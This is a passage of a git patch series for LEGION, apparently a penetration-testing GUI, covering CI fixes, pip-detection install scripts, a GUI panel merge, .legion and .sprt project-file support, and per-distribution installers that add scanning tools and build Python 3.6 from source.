Jan 2019 12:14:06 -0600 Subject: [PATCH 067/450] CI changes --- .justcloned | 0 .travis.yml | 1 - 2 files changed, 1 deletion(-) delete mode 100644 .justcloned diff --git a/.justcloned b/.justcloned deleted file mode 100644 index e69de29b..00000000 diff --git a/.travis.yml b/.travis.yml index f603f518..215f330d 100644 --- a/.travis.yml +++ b/.travis.yml @@ -8,7 +8,6 @@ python: install: - sh ./deps/installDeps.sh - - sh ./deps/installPyQt4.sh - sh ./deps/installPythonLibs.sh - pip install -r requirements.txt From ced526d37a765805ce2a7af5e1603503db65ebf3 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 11 Jan 2019 12:23:17 -0600 Subject: [PATCH 068/450] Update CI scripts --- deps/installPythonLibs.sh | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index 4c96695c..f2f6abdb 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -1,4 +1,12 @@ #!/bin/bash # Setup Python deps -sudo pip3.6 install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash -sudo pip3.6 install service_identity --upgrade + +testForPip=`pip --version` +if [[ $testForPip == *"3.6"* ]]; then + pipBin='pip' +else + pipBin='pip3.6' +fi + +sudo $pipBin install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash +sudo $pipBin install service_identity --upgrade From 6a20a5d51f78d08961fe3667c3ff8abc25ab1891 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 11 Jan 2019 12:26:35 -0600 Subject: [PATCH 069/450] CI changes --- .travis.yml | 5 ++--- deps/installPythonLibs.sh | 5 +++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.travis.yml b/.travis.yml index 215f330d..18c0986d 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,8 +7,7 @@ python: - 3.6 install: - - sh ./deps/installDeps.sh - - sh ./deps/installPythonLibs.sh - - pip install -r requirements.txt + - bash ./deps/installDeps.sh + - bash ./deps/installPythonLibs.sh script: test.py diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index f2f6abdb..6e8f3852 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -2,11 +2,12 @@ # Setup Python deps testForPip=`pip --version` + if [[ $testForPip == *"3.6"* ]]; then pipBin='pip' else pipBin='pip3.6' fi -sudo $pipBin install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash -sudo $pipBin install service_identity --upgrade +#sudo $pipBin install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash +#sudo $pipBin install service_identity --upgrade From 82ed449586e076bd5828b8a37a6cb449d7d4d416 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 11 Jan 2019 12:29:36 -0600 Subject: [PATCH 070/450] CI changes --- .travis.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 18c0986d..d5aaf6bf 100644 --- a/.travis.yml +++ b/.travis.yml @@ -10,4 +10,5 @@ install: - bash ./deps/installDeps.sh - bash ./deps/installPythonLibs.sh -script: test.py +script: + - test From a7f530847f935d69621782043a73ee2e10078cef Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 11 Jan 2019 12:40:52 -0600 Subject: [PATCH 071/450] CI changes --- .travis.yml | 2 +- test.py | 4 ++++ ui/view.py | 4 ++-- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/.travis.yml b/.travis.yml index d5aaf6bf..6f6fa6f3 100644 --- a/.travis.yml +++ b/.travis.yml @@ -11,4 +11,4 @@ install: - bash ./deps/installPythonLibs.sh script: - - test + - ./test.py diff --git a/test.py b/test.py index 8d294167..af41667a 100644 --- a/test.py +++ b/test.py @@ -1,11 +1,13 @@ try: from sqlalchemy.orm.scoping import ScopedSession as scoped_session + print("SQL Alchemy library OK") except ImportError as e: print("Import failed. SQL Alchemy library not found.") exit(1) try: from PyQt5 import QtWidgets, QtGui, QtCore + print("PyQt5 library OK.") except ImportError as e: print("Import failed. PyQt5 library not found.") exit(1) @@ -13,6 +15,7 @@ try: import quamash import asyncio + print("Quamash and asyncio libraries OK.") except ImportError as e: print("Import failed. quamash or asyncio not found.") exit(1) @@ -22,6 +25,7 @@ from ui.gui import * from ui.view import * from controller.controller import * + print("Legion class imports OK.") except ImportError as e: print("Import failed. One or more modules failed to import correctly.") exit(1) diff --git a/ui/view.py b/ui/view.py index c65990a8..1b685d25 100644 --- a/ui/view.py +++ b/ui/view.py @@ -339,7 +339,7 @@ def saveProjectAs(self): if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): log.info('Insufficient permissions on this folder.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.", "Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.") else: if self.controller.saveProjectAs(filename): @@ -418,7 +418,7 @@ def connectImportNmap(self): def importNmap(self): self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)') - + print(str(filename)) if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file From 327dbd4e94463dcda427c1b1218461b7967a1abf Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 11 Jan 2019 12:42:50 -0600 Subject: [PATCH 072/450] CI changes --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 6f6fa6f3..0adb55ac 100644 --- a/.travis.yml +++ b/.travis.yml @@ -11,4 +11,4 @@ install: - bash ./deps/installPythonLibs.sh script: - - ./test.py + - python ./test.py From 81df75e3b2c026f46f407ca693cd84810d104a75 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 11 Jan 2019 12:47:19 -0600 Subject: [PATCH 073/450] CI changes --- deps/installPythonLibs.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index 6e8f3852..bcb5a6df 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -9,5 +9,5 @@ else pipBin='pip3.6' fi -#sudo $pipBin install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash -#sudo $pipBin install service_identity --upgrade +sudo $pipBin install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash +sudo $pipBin install service_identity --upgrade From 0c069f66a68afb629e798ca6914420454d823e88 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 11 Jan 2019 12:53:35 -0600 Subject: [PATCH 074/450] CI Updates --- deps/installPythonLibs.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index bcb5a6df..8004c844 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -9,5 +9,6 @@ else pipBin='pip3.6' fi -sudo $pipBin install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash -sudo $pipBin install service_identity --upgrade +$pipBin -r requirements.txt +$pipBin install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash +$pipBin install service_identity --upgrade From 5e852d59c9602e120d050be2439fc9040d423d46 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 11 Jan 2019 12:59:04 -0600 Subject: [PATCH 075/450] Update CI, remove aiomonitor --- app/auxiliary.py | 2 +- deps/installPythonLibs.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/app/auxiliary.py b/app/auxiliary.py index 4e5e7541..0581f57b 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -21,7 +21,7 @@ import string # for input validation from six import u as unicode import ssl -import asyncio, aioredis, aiohttp, aiomonitor +import asyncio, aioredis, aiohttp from datetime import datetime import hashlib, json from apscheduler.schedulers.asyncio import AsyncIOScheduler diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index 8004c844..232b21e2 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -9,6 +9,6 @@ else pipBin='pip3.6' fi -$pipBin -r requirements.txt +$pipBin install -r requirements.txt $pipBin install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash $pipBin install service_identity --upgrade From cf00c60afb42a516fd1ba75565b549c3952bab55 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 14 Jan 2019 03:48:30 -0600 Subject: [PATCH 076/450] Combine bottom panels --- ui/gui.py | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/ui/gui.py b/ui/gui.py index ab754dcf..24a1f01a 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -34,9 +34,9 @@ def setupUi(self, MainWindow): self.splitter_2 = QtWidgets.QSplitter(self.centralwidget) self.splitter_2.setOrientation(QtCore.Qt.Vertical) self.splitter_2.setObjectName(_fromUtf8("splitter_2")) - self.splitter_5 = QtWidgets.QSplitter(self.splitter_2) - self.splitter_5.setOrientation(QtCore.Qt.Vertical) - self.splitter_5.setObjectName(_fromUtf8("splitter_5")) + #self.splitter_5 = QtWidgets.QSplitter(self.splitter_2) + #self.splitter_5.setOrientation(QtCore.Qt.Vertical) + #self.splitter_5.setObjectName(_fromUtf8("splitter_5")) self.MainTabWidget = QtWidgets.QTabWidget(self.splitter_2) self.MainTabWidget.setObjectName(_fromUtf8("MainTabWidget")) @@ -64,7 +64,7 @@ def setupUi(self, MainWindow): self.setupBottom2Panel() self.gridLayout.addWidget(self.splitter_2, 0, 0, 1, 1) - self.gridLayout.addWidget(self.splitter_5, 1, 0, 1, 1) + #self.gridLayout.addWidget(self.splitter_5, 1, 0, 1, 1) MainWindow.setCentralWidget(self.centralwidget) @@ -275,10 +275,10 @@ def setupBottomPanel(self): self.BottomTabWidget.addTab(self.ProcessTab, _fromUtf8("")) def setupBottom2Panel(self): - self.Bottom2TabWidget = QtWidgets.QTabWidget(self.splitter_5) - self.Bottom2TabWidget.setSizeIncrement(QtCore.QSize(0, 0)) - self.Bottom2TabWidget.setBaseSize(QtCore.QSize(0, 0)) - self.Bottom2TabWidget.setObjectName(_fromUtf8("Bottom2TabWidget")) + #self.Bottom2TabWidget = QtWidgets.QTabWidget(self.splitter_5) + #self.Bottom2TabWidget.setSizeIncrement(QtCore.QSize(0, 0)) + #self.Bottom2TabWidget.setBaseSize(QtCore.QSize(0, 0)) + #self.Bottom2TabWidget.setObjectName(_fromUtf8("Bottom2TabWidget")) # Log Tab self.LogTab = QtWidgets.QWidget() @@ -289,7 +289,8 @@ def setupBottom2Panel(self): self.LogOutputTextView.widget.setObjectName(_fromUtf8("LogOutputTextView")) self.LogOutputTextView.widget.setReadOnly(True) self.LogTabLayout.addWidget(self.LogOutputTextView.widget) - self.Bottom2TabWidget.addTab(self.LogTab, _fromUtf8("")) + #self.Bottom2TabWidget.addTab(self.LogTab, _fromUtf8("")) + self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) log.addHandler(self.LogOutputTextView) # Python Tab @@ -299,7 +300,8 @@ def setupBottom2Panel(self): self.PythonOutputTextView.setReadOnly(False) self.PythonTabLayout = QtWidgets.QHBoxLayout(self.PythonTab) self.PythonTabLayout.addWidget(self.PythonOutputTextView) - self.Bottom2TabWidget.addTab(self.PythonTab, _fromUtf8("")) + self.BottomTabWidget.addTab(self.PythonTab, _fromUtf8("")) + #self.Bottom2TabWidget.addTab(self.PythonTab, _fromUtf8("")) def setupMenuBar(self, MainWindow): self.menubar = QtWidgets.QMenuBar(MainWindow) @@ -371,8 +373,8 @@ def retranslateUi(self, MainWindow): self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), QtWidgets.QApplication.translate("MainWindow", "Scan", None)) self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtWidgets.QApplication.translate("MainWindow", "Brute", None)) self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.ProcessTab), QtWidgets.QApplication.translate("MainWindow", "Processes", None)) - self.Bottom2TabWidget.setTabText(self.Bottom2TabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) - self.Bottom2TabWidget.setTabText(self.Bottom2TabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None)) self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) self.menuHelp.setTitle(QtWidgets.QApplication.translate("MainWindow", "Help", None)) From 6e19f5a1abd76b3de45d92d36c11afa9261966ed Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 14 Jan 2019 04:57:08 -0600 Subject: [PATCH 077/450] Add SPRT and Legion file support --- app/logic.py | 26 ++++++++++++++------------ controller/controller.py | 4 ++-- ui/view.py | 19 +++++++++++-------- 3 files changed, 27 insertions(+), 22 deletions(-) diff --git a/app/logic.py b/app/logic.py index 549f8b43..3d0d0451 100644 --- a/app/logic.py +++ b/app/logic.py @@ -30,7 +30,7 @@ def createTemporaryFiles(self): self.istemp = True # indicates that file is temporary and can be deleted if user exits without saving log.info(self.cwd) - tf = tempfile.NamedTemporaryFile(suffix=".ldb",prefix="legion-", delete=False, dir="./tmp/") # to store the database file + tf = tempfile.NamedTemporaryFile(suffix=".legion",prefix="legion-", delete=False, dir="./tmp/") # to store the database file self.outputfolder = tempfile.mkdtemp(suffix="-tool-output",prefix="legion-", dir="./tmp/") # to store tool output of finished processes self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="legion-", dir="./tmp/") # to store tool output of running processes os.makedirs(self.outputfolder+'/screenshots') # to store screenshots @@ -119,21 +119,22 @@ def copyNmapXMLToOutputFolder(self, file): log.info('Something went wrong copying the imported XML to the project folder.') log.info("Unexpected error:", sys.exc_info()[0]) - def openExistingProject(self, filename): + def openExistingProject(self, filename, projectType="legion"): try: log.info('Opening project..') self.istemp = False # indicate the file is NOT temporary and should NOT be deleted later self.projectname = str(filename) # set the new projectname and outputfolder vars - if not str(filename).endswith('.ldb'): + nameOffset = len(projectType) + 1 + if not str(filename).endswith(projectType): self.outputfolder = str(filename)+'-tool-output' # use the same name as the file for the folder (without the extension) else: - self.outputfolder = str(filename)[:-5]+'-tool-output' + self.outputfolder = str(filename)[:-nameOffset]+'-tool-output' - self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames - self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords + self.usernamesWordlist = Wordlist(self.outputfolder + '/' + projectType + '-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/' + projectType + '-passwords.txt') # to store found passwords - self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="legion-") # to store tool output of running processes + self.runningfolder = tempfile.mkdtemp(suffix = "-running", prefix = projectType + '-') # to store tool output of running processes self.db = Database(self.projectname) # use the new db self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title @@ -143,14 +144,15 @@ def openExistingProject(self, filename): # this function copies the current project files and folder to a new location # if the replace flag is set to 1, it overwrites the destination file and folder - def saveProjectAs(self, filename, replace=0): + def saveProjectAs(self, filename, replace=0, projectType = 'legion'): try: - # the folder name must be : filename-tool-output (without the .ldb extension) - if not str(filename).endswith('.ldb'): + # the folder name must be : filename-tool-output (without the .legion extension) + nameOffset = len(projectType) + 1 + if not str(filename).endswith(projectType): foldername = str(filename)+'-tool-output' - filename = str(filename) + '.ldb' + filename = str(filename) + '.legion' else: - foldername = filename[:-5]+'-tool-output' + foldername = filename[:-nameOffset]+'-tool-output' # check if filename already exists (skip the check if we want to replace the file) if replace == 0 and os.path.exists(str(filename)) and os.path.isfile(str(filename)): diff --git a/controller/controller.py b/controller/controller.py index 1071f6bf..7dd874e0 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -161,11 +161,11 @@ def createNewProject(self): self.logic.createTemporaryFiles() # creates new temp files and folders self.start() # initialisations (globals, etc) - def openExistingProject(self, filename): + def openExistingProject(self, filename, projectType='legion'): self.view.closeProject() self.view.importProgressWidget.reset('Opening project..') self.view.importProgressWidget.show() # show the progress widget - self.logic.openExistingProject(filename) + self.logic.openExistingProject(filename, projectType) self.start(ntpath.basename(str(self.logic.projectname))) # initialisations (globals, signals, etc) self.view.restoreToolTabs() # restores the tool tabs for each host self.view.hostTableClick() # click on first host to restore his host tool tabs diff --git a/ui/view.py b/ui/view.py index 1b685d25..823fbbeb 100644 --- a/ui/view.py +++ b/ui/view.py @@ -290,18 +290,22 @@ def connectOpenExistingProject(self): def openExistingProject(self): if self.dealWithCurrentProject(): - filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Open project', self.controller.getCWD(), filter='SPARTA project (*.sprt)') + filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Open project', self.controller.getCWD(), filter='Legion session (*.legion);; Sparta session (*.sprt)')[0] if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): log.info('Insufficient permissions to open this file.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.", "Ok") return + + if '.legion' in str(filename): + projectType = 'legion' + elif '.sprt' in str(filename): + projectType = 'sparta' - self.controller.openExistingProject(filename) + self.controller.openExistingProject(filename, projectType) self.firstSave = False # overwrite this variable because we are opening an existing file self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated - else: log.info('No file chosen..') @@ -333,10 +337,9 @@ def saveProjectAs(self): self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='SPARTA project (*.sprt)', options=QtWidgets.QFileDialog.DontConfirmOverwrite) + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] while not filename =='': - if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): log.info('Insufficient permissions on this folder.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.") @@ -345,8 +348,8 @@ def saveProjectAs(self): if self.controller.saveProjectAs(filename): break - if not str(filename).endswith('.sprt'): - filename = str(filename) + '.sprt' + if not str(filename).endswith('.legion'): + filename = str(filename) + '.legion' msgBox = QtWidgets.QMessageBox() reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", "Abort", "Replace", "", 0) @@ -354,7 +357,7 @@ def saveProjectAs(self): self.controller.saveProjectAs(filename, 1) # replace break - filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='SPARTA project (*.sprt)', options=QtWidgets.QFileDialog.DontConfirmOverwrite) + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] if not filename == '': self.setDirty(False) From 7142ba3c73de6e0a9838a93b9ac767317639f46c Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 14 Jan 2019 05:04:26 -0600 Subject: [PATCH 078/450] Update version --- CHANGELOG.txt | 6 ++++++ controller/controller.py | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 44dd8574..37e185a4 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -39,3 +39,9 @@ LEGION 0.2.3 * Service 1-M CVE UI element added * CVE object model revised * Improved UI performance + +LEGION 0.2.4 + +* Open SPRT and Legion files +* Resolve file open/save access issue +* Consolidate lower panel diff --git a/controller/controller.py b/controller/controller.py index 7dd874e0..bd553c34 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -26,7 +26,7 @@ class Controller(): # initialisations that will happen once - when the program is launched @timing def __init__(self, view, logic): - self.version = 'LEGION 0.2.3' # update this everytime you commit! + self.version = 'LEGION 0.2.4' # update this everytime you commit! self.logic = logic self.view = view self.view.setController(self) From 122eecd964977c3ac1000141e24cc9728528f180 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 17 Jan 2019 08:58:20 -0600 Subject: [PATCH 079/450] Update install.sh --- deps/install.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/deps/install.sh b/deps/install.sh index 1d9471d9..235da8f6 100644 --- a/deps/install.sh +++ b/deps/install.sh @@ -4,5 +4,4 @@ cd /tmp chmod a+x *.sh ./installDeps.sh ./installPython36.sh -./installPyQt4.sh ./installPythonLibs.sh From cce942de9dc1b1031d266d587304e715955e4f13 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 17 Jan 2019 10:27:14 -0600 Subject: [PATCH 080/450] Update pip test to look for pip3 --- deps/installDeps.sh | 2 +- deps/installPythonLibs.sh | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 0ca5fae2..84a1a224 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -2,5 +2,5 @@ # Install deps echo "Updating Apt database..." sudo apt-get update -sudo apt-get install -yqq build-essential libreadline-gplv2-dev libncursesw5-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev python3-dev libssl1.0-dev libjpeg62-turbo-dev libxml2-dev libxslt1-dev python-dev libnetfilter-queue-dev qt4-qmake libqt4-dev libsqlite3-dev +sudo apt-get install -yqq build-essential libreadline-gplv2-dev libncursesw5-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev python3-dev libssl1.0-dev libjpeg62-turbo-dev libxml2-dev libxslt1-dev python-dev libnetfilter-queue-dev qt4-qmake libqt4-dev libsqlite3-dev zlib1g-dev sudo apt-get install -yqq python-netlib diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index 232b21e2..686f4ba8 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -2,9 +2,12 @@ # Setup Python deps testForPip=`pip --version` +testForPip2=`pip3 --version` if [[ $testForPip == *"3.6"* ]]; then pipBin='pip' +elif [[ $testForPip2 == *"3.6"* ]]; then + pipBin='pip3' else pipBin='pip3.6' fi From 9089dbbab95a6f4af9522d6341738c903d27d0f6 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 17 Jan 2019 14:42:26 -0600 Subject: [PATCH 081/450] Dep installer updates --- .justcloned | 0 deps/Kali-2018.sh | 17 +++++++++ deps/Kali-2018WSL.sh | 20 +++++++++++ deps/Ubuntu-16.sh | 17 +++++++++ deps/Ubuntu-16WSL.sh | 20 +++++++++++ deps/Ubuntu-18.sh | 17 +++++++++ deps/Ubuntu-18WSL.sh | 20 +++++++++++ deps/buildPython36.sh | 14 ++++++++ deps/detectOs.sh | 47 +++++++++++++++++++++++++ deps/detectPython.sh | 36 ++++++++++++++++++++ deps/install.sh | 7 ---- deps/installDeps.sh | 7 ++-- deps/installPython36.sh | 44 +++++++++++++++++++----- deps/installPythonLibs.sh | 19 +++-------- deps/{ubuntu-wsl.sh => setupWsl.sh} | 2 -- deps/ubuntu.sh | 17 --------- requirements.txt | 1 - startLegion.sh | 53 ++++++----------------------- test.sh | 42 +++++++++++++++++++++++ 19 files changed, 304 insertions(+), 96 deletions(-) create mode 100644 .justcloned create mode 100644 deps/Kali-2018.sh create mode 100644 deps/Kali-2018WSL.sh create mode 100644 deps/Ubuntu-16.sh create mode 100644 deps/Ubuntu-16WSL.sh create mode 100644 deps/Ubuntu-18.sh create mode 100644 deps/Ubuntu-18WSL.sh create mode 100644 deps/buildPython36.sh create mode 100644 deps/detectOs.sh create mode 100644 deps/detectPython.sh delete mode 100644 deps/install.sh rename deps/{ubuntu-wsl.sh => setupWsl.sh} (94%) delete mode 100644 deps/ubuntu.sh create mode 100644 test.sh diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b diff --git a/deps/Kali-2018.sh b/deps/Kali-2018.sh new file mode 100644 index 00000000..92e08271 --- /dev/null +++ b/deps/Kali-2018.sh @@ -0,0 +1,17 @@ +#!/bin/bash + +source ./detectPython.sh + +cp *.sh /tmp +cp ../requirements.txt /tmp -f +cd /tmp +chmod a+x *.sh + +./installDeps.sh +./installPython36.sh + +echo "Installing external binaryies and application dependancies..." +apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y + +echo "Installing Python Libraries..." +./installPythonLibs.sh diff --git a/deps/Kali-2018WSL.sh b/deps/Kali-2018WSL.sh new file mode 100644 index 00000000..075f4452 --- /dev/null +++ b/deps/Kali-2018WSL.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +source ./detectPython.sh + +cp *.sh /tmp +cp ../requirements.txt /tmp -f +cd /tmp +chmod a+x *.sh + +./installDeps.sh +./installPython36.sh + +echo "Installing external binaryies and application dependancies..." +apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y + +echo "Installing Python Libraries..." +./installPythonLibs.sh + +echo "WSL Setup..." +./setupWsl.sh diff --git a/deps/Ubuntu-16.sh b/deps/Ubuntu-16.sh new file mode 100644 index 00000000..92e08271 --- /dev/null +++ b/deps/Ubuntu-16.sh @@ -0,0 +1,17 @@ +#!/bin/bash + +source ./detectPython.sh + +cp *.sh /tmp +cp ../requirements.txt /tmp -f +cd /tmp +chmod a+x *.sh + +./installDeps.sh +./installPython36.sh + +echo "Installing external binaryies and application dependancies..." +apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y + +echo "Installing Python Libraries..." +./installPythonLibs.sh diff --git a/deps/Ubuntu-16WSL.sh b/deps/Ubuntu-16WSL.sh new file mode 100644 index 00000000..075f4452 --- /dev/null +++ b/deps/Ubuntu-16WSL.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +source ./detectPython.sh + +cp *.sh /tmp +cp ../requirements.txt /tmp -f +cd /tmp +chmod a+x *.sh + +./installDeps.sh +./installPython36.sh + +echo "Installing external binaryies and application dependancies..." +apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y + +echo "Installing Python Libraries..." +./installPythonLibs.sh + +echo "WSL Setup..." +./setupWsl.sh diff --git a/deps/Ubuntu-18.sh b/deps/Ubuntu-18.sh new file mode 100644 index 00000000..92e08271 --- /dev/null +++ b/deps/Ubuntu-18.sh @@ -0,0 +1,17 @@ +#!/bin/bash + +source ./detectPython.sh + +cp *.sh /tmp +cp ../requirements.txt /tmp -f +cd /tmp +chmod a+x *.sh + +./installDeps.sh +./installPython36.sh + +echo "Installing external binaryies and application dependancies..." +apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y + +echo "Installing Python Libraries..." +./installPythonLibs.sh diff --git a/deps/Ubuntu-18WSL.sh b/deps/Ubuntu-18WSL.sh new file mode 100644 index 00000000..075f4452 --- /dev/null +++ b/deps/Ubuntu-18WSL.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +source ./detectPython.sh + +cp *.sh /tmp +cp ../requirements.txt /tmp -f +cd /tmp +chmod a+x *.sh + +./installDeps.sh +./installPython36.sh + +echo "Installing external binaryies and application dependancies..." +apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y + +echo "Installing Python Libraries..." +./installPythonLibs.sh + +echo "WSL Setup..." +./setupWsl.sh diff --git a/deps/buildPython36.sh b/deps/buildPython36.sh new file mode 100644 index 00000000..5344af93 --- /dev/null +++ b/deps/buildPython36.sh @@ -0,0 +1,14 @@ +#!/bin/bash +cd /tmp + +# Install deps +echo "Updating Apt database..." +sudo apt-get update -yqq 2>&1 > /dev/null +sudo apt-get install -yqq build-essential libreadline-gplv2-dev libncursesw5-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev python3-dev libssl1.0-dev libjpeg62-turbo-dev libxml2-dev libxslt1-dev python-dev libnetfilter-queue-dev qt4-qmake libqt4-dev libsqlite3-dev zlib1g-dev 2>&1 > /dev/null + +# Setup Python3.6 +wget https://www.python.org/ftp/python/3.6.6/Python-3.6.6.tgz +tar xzf Python-3.6.6.tgz +cd Python-3.6.6/ +./configure 